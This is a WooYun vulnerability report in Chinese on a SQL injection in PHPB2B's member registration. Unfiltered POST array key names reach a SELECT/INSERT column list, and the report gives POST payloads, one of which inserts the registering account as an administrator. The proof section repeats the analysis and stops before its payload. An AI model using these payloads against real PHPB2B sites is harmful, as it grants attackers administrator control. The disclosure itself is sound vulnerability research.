当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090289

漏洞标题:PHPB2B某处sql注入(危害巨大)

相关厂商:phpb2b.com

漏洞作者: Th1nk

提交时间:2015-01-07 12:38

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-10: 细节向第三方安全合作伙伴开放
2015-03-03: 细节向核心白帽子及相关领域专家公开
2015-03-13: 细节向普通白帽子公开
2015-03-23: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

PHPB2B某处sql注入(危害巨大)

详细说明:

PHPB2B某处sql注入
官网下载的最新版本
绕过全局防注入。
我们先看看全局防注入怎么写的。
以下是全局防注入用到的函数

function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=@implode(",", $StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
echo $StrFiltValue;
header_sent("Warning : Illegal operation!");
exit();
}
}
function pb_hack_check(){
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$_PG=array_merge($_GET,$_POST);
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
}


其核心在于,对post和get传递过来的参数值进行了一次过滤

foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}


但是还是有不足的地方。
register.php
83-117行

if(isset($_POST['register'])){
$is_company = false;
$if_need_check = false;
$register_type = trim($_POST['register']);
$register_typename = trim($_POST['typename']);
pb_submit_check('data');
$default_membergroupid_res = $pdb->GetRow("SELECT * FROM {$tb_prefix}membertypes WHERE name='".$register_typename."'");
$default_membergroupid = $default_membergroupid_res['default_membergroup_id'];
if(empty($default_membergroupid)) $default_membergroupid = $membergroup->field("id","is_default=1");
if ($default_membergroupid_res['id']>1) {
$is_company = true;
}
$member->setParams();
$memberfield->setParams();
//exception
if(!$member->checkException($member->params['data']['member'], array(
'username',
'email',
'userpass',
))){
flash("sys_error");
}
$member->params['data']['member']['membergroup_id'] = $default_membergroupid;
$time_limits = $pdb->GetOne("SELECT default_live_time FROM {$tb_prefix}membergroups WHERE id={$default_membergroupid}");
$member->params['data']['member']['service_start_date'] = $time_stamp;
$member->params['data']['member']['service_end_date'] = $membergroup->getServiceEndtime($time_limits);
$member->params['data']['member']['membertype_id'] = ($is_company)?2:1;
if($member_reg_auth=="1" || $member_reg_auth!=0 || !empty($G['setting']['new_userauth'])){
$member->params['data']['member']['status'] = 0;
$if_need_check = true;
}else{
$member->params['data']['member']['status'] = 1;
}
$updated = false;
$updated = $member->Add();


代码比较长,其中比较关键的函数有
第96行
$memberfield->setParams();
看看setparams函数怎么写的

function setParams($extra = array()) {
$params = array();
if (isset($_POST)) {
$params['form'] = $_POST;
if (ini_get('magic_quotes_gpc') === '1') {
$params['form'] = pb_addslashes($params['form']);
}
if (pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$params['form']['_method'] = pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE');
}
if (isset($params['form']['_method'])) {
if (isset($_SERVER) && !empty($_SERVER)) {
$_SERVER['REQUEST_METHOD'] = $params['form']['_method'];
} else {
$_ENV['REQUEST_METHOD'] = $params['form']['_method'];
}
unset($params['form']['_method']);
}
}
$params = array_merge($extra, $params);
if (isset($_GET)) {
if (ini_get('magic_quotes_gpc') === '1') {
$url = stripslashes_deep($_GET);
} else {
$url = $_GET;
}
array_unique($url);
if (isset($params['url'])) {
$params['url'] = array_merge($params['url'], $url);
} else {
$params['url'] = $url;
}
}
if (isset($params['action']) && strlen($params['action']) === 0) {
$params['action'] = 'list';
}
if (isset($params['form']['data'])) {
$params['data'] = $params['form']['data'];
unset($params['form']['data']);
}
$this->params = $params;
}


代码又臭又长,其实这个函数主要的功能就是把post过来的数据全部放入当前实例的params属性中,且params是一个数组。
也就是
$_POST[a]=1--->$this->params[a]=1
然后继续往下看
在第117行
调用了$member->Add()这个函数
跟踪看看。

function Add()
{
global $_PB_CACHE, $memberfield, $phpb2b_auth_key, $if_need_check;
$error_msg = array();
if (empty($this->params['data']['member']['username']) or
empty($this->params['data']['member']['userpass']) or
empty($this->params['data']['member']['email'])) return false;
//判断各种数值不能为空
$space_name = $this->params['data']['member']['username'];
$userpass = $this->params['data']['member']['userpass'];
$this->params['data']['member']['userpass'] = $this->authPasswd($this->params['data']['member']['userpass']);
if(empty($this->params['data']['member']['space_name']))
$this->params['data']['member']['space_name'] = PbController::toAlphabets($space_name);//Todo:
$uip = pb_ip2long(pb_getenv('REMOTE_ADDR'));
if(empty($uip)){
pheader("location:".URL."redirect.php?message=".urlencode(L('sys_error')));
}
$this->params['data']['member']['last_login'] = $this->params['data']['member']['created'] = $this->params['data']['member']['modified'] = $this->timestamp;
$this->params['data']['member']['last_ip'] = pb_get_client_ip('str');
$email_exists = $this->checkUserExistsByEmail($this->params['data']['member']['email']);
if ($email_exists) {
flash("email_exists", null, 0);
}
$if_exists = $this->checkUserExist($this->params['data']['member']['username']);
//检测是否已经存在该用户名
if ($if_exists) {
flash('member_has_exists', null, 0); //如果已存在就跳出
}else{
$this->save($this->params['data']['member']);
$key = $this->table_name."_id";
if($this->ins_passport) $this->passport(array($this->$key, $this->params['data']['member']['username'], $userpass, $this->params['data']['member']['email']), "reg");
$memberfield->primaryKey = "member_id";
$memberfield->params['data']['memberfield']['member_id'] = $this->$key;
$memberfield->params['data']['memberfield']['reg_ip'] = $this->params['data']['member']['last_ip'];
//各种参数设定完毕
$memberfield->save($memberfield->params['data']['memberfield']); //带入save函数执行
if (!$if_need_check) {
$user_info['id'] = $this->$key;
$user_info['username'] = $this->params['data']['member']['username'];
$user_info['userpass'] = $userpass;
$user_info['useremail'] = $this->params['data']['member']['email'];
$user_info['lifetime'] = $this->timestamp+86400;
$user_info['is_admin'] = 0;
$this->putLoginStatus($user_info);
}
}
return true;
}


函数代码比较长,所以我在关键地方做了注释。
总之就是会将$memberfield->params['data']['memberfield']这个参数传入到save函数中
而$memberfield->params['data']['memberfield']这个参数恰恰是由$memberfield->setParams();而得到值的,也就是我们可以直接post传入数据。
如图,为了演示方便,我把$memberfield->params['data']['memberfield']内容打印出来

1.jpg


清楚了这些,我们再来看save函数究竟做了什么。

function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}


$id默认为空
所以最后拼接成的sql为

$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";


$cols是怎么来的?

$keys = array_keys($posts);
$cols = implode($keys,",");


原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。
然后我们打印出最后执行的select语句

formhash=95a43736362e5dd0®ister=1&typename=1&data[member][username]=saaaad&data[member][userpass]=11&data[member][email]=asaaadsd&data[memberfield][a']=123&data[memberfield][a%20test%20b]=123


1.png


已经构成了注入了,如果要想盲注出管理员的密码,在这里就可以完成了。
但是因为程序员的疏忽,这个我们可以做得更多。
我们来看一下完整的save函数

function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}
if (!is_null($conditions)) {
if (!empty($conditions)) {
if (is_array($conditions)) {
$condition = implode(" AND ", $conditions);
}else{
$condition = $conditions;
}
}
$sql.= " AND ".$condition;
}
$rs = $this->dbstuff->Execute($sql);
$record = array();
foreach ($keys as $colname) {
if(pb_inject_check($colname)){ //检测到恶意字段,就去除
unset($posts[$colname]);
continue;
}
//过滤值中的恶意字符
$sp_search = array('\\\"', "\\\'", "'"," ", '\n','\\\"');
$sp_replace = array('"', ''', ''',' ', '<br />','');
$slash_col = str_replace($sp_search, $sp_replace, $posts[$colname]);
if (!defined("IN_PBADMIN")) {
$slash_col = sens_str($slash_col);
}
$record[$colname] = stripslashes($slash_col);
}
if (!defined("IN_PBADMIN") && isset($record['id'])) {
unset($record['id']);
}
if (strtolower($action) == "update") {
$insertsql = $this->dbstuff->GetUpdateSQL($rs,$record);
$new_id = false;
}else {
//$action不是update,将$rs带入GetInsertSQL函数执行
$insertsql = $this->dbstuff->GetInsertSQL($rs,$record);
$new_id = true;
}
if($insertsql) $result = $this->dbstuff->Execute($insertsql);
if (!$result || empty($result)) {
return false;
}else {
if($new_id){
$insert_key = $tbname."_id";
$this->$insert_key = $this->dbstuff->Insert_ID();
}
return true;
}
}
代码比较长,我已经把关键的地方给了注释了。
于是来到了GetInsertSQL函数
function GetInsertSQL(&$rs, $arrFields,$magicq=false,$force=null)
{
global $ADODB_INCLUDED_LIB;
if (!isset($force)) {
global $ADODB_FORCE_TYPE;
$force = $ADODB_FORCE_TYPE;
}
if (empty($ADODB_INCLUDED_LIB)) include(ADODB_DIR.'/adodb-lib.inc.php');
return _adodb_getinsertsql($this,$rs,$arrFields,$magicq,$force);
}


跟着走到_adodb_getinsertsql函数
这个函数也特别长
在libraries/adodb/adodb-lib.inc.php中
762-902行

function _adodb_getinsertsql(&$zthis,&$rs,$arrFields,$magicq=false,$force=2)
{
static $cacheRS = false;
static $cacheSig = 0;
static $cacheCols;
global $ADODB_QUOTE_FIELDNAMES;
$tableName = '';
$values = '';
$fields = '';
$recordSet = null;
$arrFields = _array_change_key_case($arrFields);
$fieldInsertedCount = 0;
if (is_string($rs)) {
//ok we have a table name
//try and get the column info ourself.
$tableName = $rs;
//we need an object for the recordSet
//because we have to call MetaType.
//php can't do a $rsclass::MetaType()
$rsclass = $zthis->rsPrefix.$zthis->databaseType;
$recordSet = new $rsclass(-1,$zthis->fetchMode);
$recordSet->connection = $zthis;
if (is_string($cacheRS) && $cacheRS == $rs) {
$columns = $cacheCols;
} else {
$columns = $zthis->MetaColumns( $tableName );
$cacheRS = $tableName;
$cacheCols = $columns;
}
} else if (is_subclass_of($rs, 'adorecordset')) {
if (isset($rs->insertSig) && is_integer($cacheRS) && $cacheRS == $rs->insertSig) {
$columns = $cacheCols;
} else {
for ($i=0, $max=$rs->FieldCount(); $i < $max; $i++)
$columns[] = $rs->FetchField($i);
$cacheRS = $cacheSig;
$cacheCols = $columns;
$rs->insertSig = $cacheSig++;
}
$recordSet = $rs;
} else {
printf(ADODB_BAD_RS,'GetInsertSQL');
return false;
}
// Loop through all of the fields in the recordset
foreach( $columns as $field ) {
$upperfname = strtoupper($field->name);
if (adodb_key_exists($upperfname,$arrFields,$force)) {
$bad = false;
if ((strpos($upperfname,' ') !== false) || ($ADODB_QUOTE_FIELDNAMES)) {
switch ($ADODB_QUOTE_FIELDNAMES) {
case 'LOWER':
$fnameq = $zthis->nameQuote.strtolower($field->name).$zthis->nameQuote;break;
case 'NATIVE':
$fnameq = $zthis->nameQuote.$field->name.$zthis->nameQuote;break;
case 'UPPER':
default:
$fnameq = $zthis->nameQuote.$upperfname.$zthis->nameQuote;break;
}
} else
$fnameq = $upperfname;
$type = $recordSet->MetaType($field->type);
/********************************************************/
if (is_null($arrFields[$upperfname])
|| (empty($arrFields[$upperfname]) && strlen($arrFields[$upperfname]) == 0)
|| $arrFields[$upperfname] === $zthis->null2null
)
{
switch ($force) {
case 0: // we must always set null if missing
$bad = true;
break;
case 1:
$values .= "null, ";
break;
case 2:
//Set empty
$arrFields[$upperfname] = "";
$values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,$arrFields, $magicq);
break;
default:
case 3:
//Set the value that was given in array, so you can give both null and empty values
if (is_null($arrFields[$upperfname]) || $arrFields[$upperfname] === $zthis->null2null) {
$values .= "null, ";
} else {
$values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq, $arrFields, $magicq);
}
break;
} // switch
/*********************************************************/
} else {
//we do this so each driver can customize the sql for
//DB specific column types.
//Oracle needs BLOB types to be handled with a returning clause
//postgres has special needs as well
$values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,
$arrFields, $magicq);
}
if ($bad) continue;
// Set the counter for the number of fields that will be inserted.
$fieldInsertedCount++;
// Get the name of the fields to insert
$fields .= $fnameq . ", ";
}
}
// If there were any inserted fields then build the rest of the insert query.
if ($fieldInsertedCount <= 0) return false;
// Get the table name from the existing query.
if (!$tableName) {
if (!empty($rs->tableName)) $tableName = $rs->tableName;
else if (preg_match("/FROM\s+".ADODB_TABLE_REGEX."/is", $rs->sql, $tableName)){
$tableName = $tableName[1];
}
else
return false;
}
// Strip off the comma and space on the end of both the fields
// and their values.
$fields = substr($fields, 0, -2);
$values = substr($values, 0, -2);
// Append the fields and their values to the insert query.
return 'INSERT INTO '.$tableName.' ( '.$fields.' ) VALUES ( '.$values.' )';
}


代码太长,我就不慢慢分析了。
这个函数的主要功能就是匹配出先前那个select语句中的各个字段以及表名。然后对数据库中该表做一个插入操作。
为了更直观表示,我将语句都打印出来。
我们直接来插入一条管理员数据,把自己的账号提成管理员吧。
post提交

formhash=db91c900f7efb4a8®ister=1&typename=1&data[member][username]=123dba&data[member][userpass]=11&data[member][email]=1231aad&data[memberfield][member_id,level,last_name%20from%20pb_wwd_adminfields%23]=1&data[memberfield][level]=0&data[memberfield][status]=1&data[memberfield][last_name]=test


成功添加了一条管理员记录。
账号是123dba密码是11
ps:
因为表前缀是默认随机生成的,所以必须先通过盲注information这个数据库中的tables表,拿到表前缀,而后才能拿到管理员权限。
不对对于拥有注入来说,不都是洒洒水么

漏洞证明:

PHPB2B某处sql注入
官网下载的最新版本
绕过全局防注入。
我们先看看全局防注入怎么写的。
以下是全局防注入用到的函数

function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=@implode(",", $StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
echo $StrFiltValue;
header_sent("Warning : Illegal operation!");
exit();
}
}
function pb_hack_check(){
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$_PG=array_merge($_GET,$_POST);
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
}


其核心在于,对post和get传递过来的参数值进行了一次过滤

foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}


但是还是有不足的地方。
register.php
83-117行

if(isset($_POST['register'])){
$is_company = false;
$if_need_check = false;
$register_type = trim($_POST['register']);
$register_typename = trim($_POST['typename']);
pb_submit_check('data');
$default_membergroupid_res = $pdb->GetRow("SELECT * FROM {$tb_prefix}membertypes WHERE name='".$register_typename."'");
$default_membergroupid = $default_membergroupid_res['default_membergroup_id'];
if(empty($default_membergroupid)) $default_membergroupid = $membergroup->field("id","is_default=1");
if ($default_membergroupid_res['id']>1) {
$is_company = true;
}
$member->setParams();
$memberfield->setParams();
//exception
if(!$member->checkException($member->params['data']['member'], array(
'username',
'email',
'userpass',
))){
flash("sys_error");
}
$member->params['data']['member']['membergroup_id'] = $default_membergroupid;
$time_limits = $pdb->GetOne("SELECT default_live_time FROM {$tb_prefix}membergroups WHERE id={$default_membergroupid}");
$member->params['data']['member']['service_start_date'] = $time_stamp;
$member->params['data']['member']['service_end_date'] = $membergroup->getServiceEndtime($time_limits);
$member->params['data']['member']['membertype_id'] = ($is_company)?2:1;
if($member_reg_auth=="1" || $member_reg_auth!=0 || !empty($G['setting']['new_userauth'])){
$member->params['data']['member']['status'] = 0;
$if_need_check = true;
}else{
$member->params['data']['member']['status'] = 1;
}
$updated = false;
$updated = $member->Add();


代码比较长,其中比较关键的函数有
第96行
$memberfield->setParams();
看看setparams函数怎么写的

function setParams($extra = array()) {
$params = array();
if (isset($_POST)) {
$params['form'] = $_POST;
if (ini_get('magic_quotes_gpc') === '1') {
$params['form'] = pb_addslashes($params['form']);
}
if (pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$params['form']['_method'] = pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE');
}
if (isset($params['form']['_method'])) {
if (isset($_SERVER) && !empty($_SERVER)) {
$_SERVER['REQUEST_METHOD'] = $params['form']['_method'];
} else {
$_ENV['REQUEST_METHOD'] = $params['form']['_method'];
}
unset($params['form']['_method']);
}
}
$params = array_merge($extra, $params);
if (isset($_GET)) {
if (ini_get('magic_quotes_gpc') === '1') {
$url = stripslashes_deep($_GET);
} else {
$url = $_GET;
}
array_unique($url);
if (isset($params['url'])) {
$params['url'] = array_merge($params['url'], $url);
} else {
$params['url'] = $url;
}
}
if (isset($params['action']) && strlen($params['action']) === 0) {
$params['action'] = 'list';
}
if (isset($params['form']['data'])) {
$params['data'] = $params['form']['data'];
unset($params['form']['data']);
}
$this->params = $params;
}


代码又臭又长,其实这个函数主要的功能就是把post过来的数据全部放入当前实例的params属性中,且params是一个数组。
也就是
$_POST[a]=1--->$this->params[a]=1
然后继续往下看
在第117行
调用了$member->Add()这个函数
跟踪看看。

function Add()
{
global $_PB_CACHE, $memberfield, $phpb2b_auth_key, $if_need_check;
$error_msg = array();
if (empty($this->params['data']['member']['username']) or
empty($this->params['data']['member']['userpass']) or
empty($this->params['data']['member']['email'])) return false;
//判断各种数值不能为空
$space_name = $this->params['data']['member']['username'];
$userpass = $this->params['data']['member']['userpass'];
$this->params['data']['member']['userpass'] = $this->authPasswd($this->params['data']['member']['userpass']);
if(empty($this->params['data']['member']['space_name']))
$this->params['data']['member']['space_name'] = PbController::toAlphabets($space_name);//Todo:
$uip = pb_ip2long(pb_getenv('REMOTE_ADDR'));
if(empty($uip)){
pheader("location:".URL."redirect.php?message=".urlencode(L('sys_error')));
}
$this->params['data']['member']['last_login'] = $this->params['data']['member']['created'] = $this->params['data']['member']['modified'] = $this->timestamp;
$this->params['data']['member']['last_ip'] = pb_get_client_ip('str');
$email_exists = $this->checkUserExistsByEmail($this->params['data']['member']['email']);
if ($email_exists) {
flash("email_exists", null, 0);
}
$if_exists = $this->checkUserExist($this->params['data']['member']['username']);
//检测是否已经存在该用户名
if ($if_exists) {
flash('member_has_exists', null, 0); //如果已存在就跳出
}else{
$this->save($this->params['data']['member']);
$key = $this->table_name."_id";
if($this->ins_passport) $this->passport(array($this->$key, $this->params['data']['member']['username'], $userpass, $this->params['data']['member']['email']), "reg");
$memberfield->primaryKey = "member_id";
$memberfield->params['data']['memberfield']['member_id'] = $this->$key;
$memberfield->params['data']['memberfield']['reg_ip'] = $this->params['data']['member']['last_ip'];
//各种参数设定完毕
$memberfield->save($memberfield->params['data']['memberfield']); //带入save函数执行
if (!$if_need_check) {
$user_info['id'] = $this->$key;
$user_info['username'] = $this->params['data']['member']['username'];
$user_info['userpass'] = $userpass;
$user_info['useremail'] = $this->params['data']['member']['email'];
$user_info['lifetime'] = $this->timestamp+86400;
$user_info['is_admin'] = 0;
$this->putLoginStatus($user_info);
}
}
return true;
}


函数代码比较长,所以我在关键地方做了注释。
总之就是会将$memberfield->params['data']['memberfield']这个参数传入到save函数中
而$memberfield->params['data']['memberfield']这个参数恰恰是由$memberfield->setParams();而得到值的,也就是我们可以直接post传入数据。
如图,为了演示方便,我把$memberfield->params['data']['memberfield']内容打印出来

1.jpg


清楚了这些,我们再来看save函数究竟做了什么。

function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}


$id默认为空
所以最后拼接成的sql为

$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";


$cols是怎么来的?

$keys = array_keys($posts);
$cols = implode($keys,",");


原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。
然后我们打印出最后执行的select语句

formhash=95a43736362e5dd0®ister=1&typename=1&data[member][username]=saaaad&data[member][userpass]=11&data[member][email]=asaaadsd&data[memberfield][a']=123&data[memberfield][a%20test%20b]=123


1.png


已经构成了注入了,如果要想盲注出管理员的密码,在这里就可以完成了。
但是因为程序员的疏忽,这个我们可以做得更多。
我们来看一下完整的save函数

function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}
if (!is_null($conditions)) {
if (!empty($conditions)) {
if (is_array($conditions)) {
$condition = implode(" AND ", $conditions);
}else{
$condition = $conditions;
}
}
$sql.= " AND ".$condition;
}
$rs = $this->dbstuff->Execute($sql);
$record = array();
foreach ($keys as $colname) {
if(pb_inject_check($colname)){ //检测到恶意字段,就去除
unset($posts[$colname]);
continue;
}
//过滤值中的恶意字符
$sp_search = array('\\\"', "\\\'", "'"," ", '\n','\\\"');
$sp_replace = array('"', ''', ''',' ', '<br />','');
$slash_col = str_replace($sp_search, $sp_replace, $posts[$colname]);
if (!defined("IN_PBADMIN")) {
$slash_col = sens_str($slash_col);
}
$record[$colname] = stripslashes($slash_col);
}
if (!defined("IN_PBADMIN") && isset($record['id'])) {
unset($record['id']);
}
if (strtolower($action) == "update") {
$insertsql = $this->dbstuff->GetUpdateSQL($rs,$record);
$new_id = false;
}else {
//$action不是update,将$rs带入GetInsertSQL函数执行
$insertsql = $this->dbstuff->GetInsertSQL($rs,$record);
$new_id = true;
}
if($insertsql) $result = $this->dbstuff->Execute($insertsql);
if (!$result || empty($result)) {
return false;
}else {
if($new_id){
$insert_key = $tbname."_id";
$this->$insert_key = $this->dbstuff->Insert_ID();
}
return true;
}
}
代码比较长,我已经把关键的地方给了注释了。
于是来到了GetInsertSQL函数
function GetInsertSQL(&$rs, $arrFields,$magicq=false,$force=null)
{
global $ADODB_INCLUDED_LIB;
if (!isset($force)) {
global $ADODB_FORCE_TYPE;
$force = $ADODB_FORCE_TYPE;
}
if (empty($ADODB_INCLUDED_LIB)) include(ADODB_DIR.'/adodb-lib.inc.php');
return _adodb_getinsertsql($this,$rs,$arrFields,$magicq,$force);
}


跟着走到_adodb_getinsertsql函数
这个函数也特别长
在libraries/adodb/adodb-lib.inc.php中
762-902行

function _adodb_getinsertsql(&$zthis,&$rs,$arrFields,$magicq=false,$force=2)
{
static $cacheRS = false;
static $cacheSig = 0;
static $cacheCols;
global $ADODB_QUOTE_FIELDNAMES;
$tableName = '';
$values = '';
$fields = '';
$recordSet = null;
$arrFields = _array_change_key_case($arrFields);
$fieldInsertedCount = 0;
if (is_string($rs)) {
//ok we have a table name
//try and get the column info ourself.
$tableName = $rs;
//we need an object for the recordSet
//because we have to call MetaType.
//php can't do a $rsclass::MetaType()
$rsclass = $zthis->rsPrefix.$zthis->databaseType;
$recordSet = new $rsclass(-1,$zthis->fetchMode);
$recordSet->connection = $zthis;
if (is_string($cacheRS) && $cacheRS == $rs) {
$columns = $cacheCols;
} else {
$columns = $zthis->MetaColumns( $tableName );
$cacheRS = $tableName;
$cacheCols = $columns;
}
} else if (is_subclass_of($rs, 'adorecordset')) {
if (isset($rs->insertSig) && is_integer($cacheRS) && $cacheRS == $rs->insertSig) {
$columns = $cacheCols;
} else {
for ($i=0, $max=$rs->FieldCount(); $i < $max; $i++)
$columns[] = $rs->FetchField($i);
$cacheRS = $cacheSig;
$cacheCols = $columns;
$rs->insertSig = $cacheSig++;
}
$recordSet = $rs;
} else {
printf(ADODB_BAD_RS,'GetInsertSQL');
return false;
}
// Loop through all of the fields in the recordset
foreach( $columns as $field ) {
$upperfname = strtoupper($field->name);
if (adodb_key_exists($upperfname,$arrFields,$force)) {
$bad = false;
if ((strpos($upperfname,' ') !== false) || ($ADODB_QUOTE_FIELDNAMES)) {
switch ($ADODB_QUOTE_FIELDNAMES) {
case 'LOWER':
$fnameq = $zthis->nameQuote.strtolower($field->name).$zthis->nameQuote;break;
case 'NATIVE':
$fnameq = $zthis->nameQuote.$field->name.$zthis->nameQuote;break;
case 'UPPER':
default:
$fnameq = $zthis->nameQuote.$upperfname.$zthis->nameQuote;break;
}
} else
$fnameq = $upperfname;
$type = $recordSet->MetaType($field->type);
/********************************************************/
if (is_null($arrFields[$upperfname])
|| (empty($arrFields[$upperfname]) && strlen($arrFields[$upperfname]) == 0)
|| $arrFields[$upperfname] === $zthis->null2null
)
{
switch ($force) {
case 0: // we must always set null if missing
$bad = true;
break;
case 1:
$values .= "null, ";
break;
case 2:
//Set empty
$arrFields[$upperfname] = "";
$values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,$arrFields, $magicq);
break;
default:
case 3:
//Set the value that was given in array, so you can give both null and empty values
if (is_null($arrFields[$upperfname]) || $arrFields[$upperfname] === $zthis->null2null) {
$values .= "null, ";
} else {
$values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq, $arrFields, $magicq);
}
break;
} // switch
/*********************************************************/
} else {
//we do this so each driver can customize the sql for
//DB specific column types.
//Oracle needs BLOB types to be handled with a returning clause
//postgres has special needs as well
$values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,
$arrFields, $magicq);
}
if ($bad) continue;
// Set the counter for the number of fields that will be inserted.
$fieldInsertedCount++;
// Get the name of the fields to insert
$fields .= $fnameq . ", ";
}
}
// If there were any inserted fields then build the rest of the insert query.
if ($fieldInsertedCount <= 0) return false;
// Get the table name from the existing query.
if (!$tableName) {
if (!empty($rs->tableName)) $tableName = $rs->tableName;
else if (preg_match("/FROM\s+".ADODB_TABLE_REGEX."/is", $rs->sql, $tableName)){
$tableName = $tableName[1];
}
else
return false;
}
// Strip off the comma and space on the end of both the fields
// and their values.
$fields = substr($fields, 0, -2);
$values = substr($values, 0, -2);
// Append the fields and their values to the insert query.
return 'INSERT INTO '.$tableName.' ( '.$fields.' ) VALUES ( '.$values.' )';
}


代码太长,我就不慢慢分析了。
这个函数的主要功能就是匹配出先前那个select语句中的各个字段以及表名。然后对数据库中该表做一个插入操作。
为了更直观表示,我将语句都打印出来。
我们直接来插入一条管理员数据,把自己的账号提成管理员吧。
post提交

